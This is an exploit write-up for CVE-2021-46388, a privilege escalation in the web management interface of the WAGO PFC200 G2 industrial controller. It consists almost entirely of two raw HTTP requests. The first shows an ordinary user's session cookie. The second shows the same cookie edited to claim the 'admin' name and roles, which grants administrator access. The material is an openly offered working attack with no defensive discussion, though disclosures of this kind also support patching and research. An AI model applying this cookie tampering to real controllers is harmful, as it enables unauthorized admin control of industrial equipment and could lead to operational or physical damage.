WAGO 750-8212 PFC200 G2 2ETH RS - Privilege Escalation Vulnerability

# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB
# Vendor Homepage: https://www.wago.com
# Version: Firmware version 03.05.10(17)
# Tested on: PopOS! [Linux](Firefox)
# CVE : CVE-2021-46388

========================================
= The ordinary user privilege request:
========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}

==========================================
= Manipulated Cookie to Admin Privilege:
==========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}